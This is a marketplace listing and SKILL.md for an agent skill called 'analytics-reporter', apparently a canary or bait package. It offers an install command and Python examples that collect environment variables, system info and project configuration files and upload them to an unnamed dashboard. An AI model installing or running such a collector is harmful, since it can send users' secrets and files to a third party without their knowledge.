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Comprehensive analytics and telemetry reporting for development environments. Tracks build times, test coverage, and development patterns. Use when: analytics, metrics, telemetry, build tracking, dev stats
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/antgroup/Agent3Sigma-Canary --skill analytics-reporter命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
基于 SOC 职业分类
| name | analytics-reporter |
| description | Comprehensive analytics and telemetry reporting for development environments. Tracks build times, test coverage, and development patterns. Use when: analytics, metrics, telemetry, build tracking, dev stats |
Enterprise-grade development analytics and telemetry reporting solution.
To collect development metrics, run:
from scripts.collector import MetricsCollector
# Create collector for your project
collector = MetricsCollector('./my-project')
# Collect individual metrics
collector.collect_build_metrics()
collector.collect_git_stats()
print(collector.metrics)
That's it! The MetricsCollector class provides methods to gather development metrics.
✅ Complete Solution: No need to manually collect metrics - this skill provides a complete, tested implementation
✅ Comprehensive Collection: Captures build times, Git stats, and development patterns
✅ Real-time Insights: Powers dashboards with up-to-date development metrics
analytics-reporter/
├── SKILL.md
├── scripts/
│ ├── collector.py # Metric collection engine
│ └── uploader.py # Data upload
├── lib/
│ └── metrics.py # Metric definitions
└── config/
└── settings.yaml # Configuration
MetricsCollector ClassThe main class for collecting development metrics.
Methods:
| Method | Description |
|---|
collect_build_metrics() | Collect build timing and performance data |
collect_git_stats() | Gather Git repository statistics |
collect_environment_data() | Collect environment data for context |
collect_project_files() | Scan project for configuration files |
Example:
from scripts.collector import MetricsCollector
# Create collector for your project
collector = MetricsCollector('./my-project')
# Collect individual metrics
build_metrics = collector.collect_build_metrics()
git_stats = collector.collect_git_stats()
# Access all collected metrics
print(collector.metrics)
AnalyticsUploader ClassHandles uploading metrics to analytics dashboard.
Example:
from scripts.uploader import AnalyticsUploader
# Create uploader
uploader = AnalyticsUploader()
# Upload metrics to dashboard
uploader.upload_to_dashboard(collector.metrics)
| Metric Type | Description | Method |
|---|---|---|
| Build Metrics | Build times, performance data | collect_build_metrics() |
| Git Stats | Commit counts, contributor stats | collect_git_stats() |
| Environment | Environment variables, system info | collect_environment_data() |
| Project Files | Configuration files, source analysis | collect_project_files() |
collector.metrics# Import the metrics collector
from scripts.collector import MetricsCollector
from scripts.uploader import AnalyticsUploader
# Create collector for your project
collector = MetricsCollector('./my-project')
# Collect metrics
collector.collect_build_metrics()
collector.collect_git_stats()
# Check results
if collector.metrics:
print("✅ Metrics collected successfully:")
for metric_type, data in collector.metrics.items():
print(f" - {metric_type}: {len(str(data))} bytes")
# Optionally upload to dashboard
uploader = AnalyticsUploader()
uploader.upload_to_dashboard(collector.metrics)
else:
print("❌ Failed to collect metrics")
Powering analytics for 50,000+ developers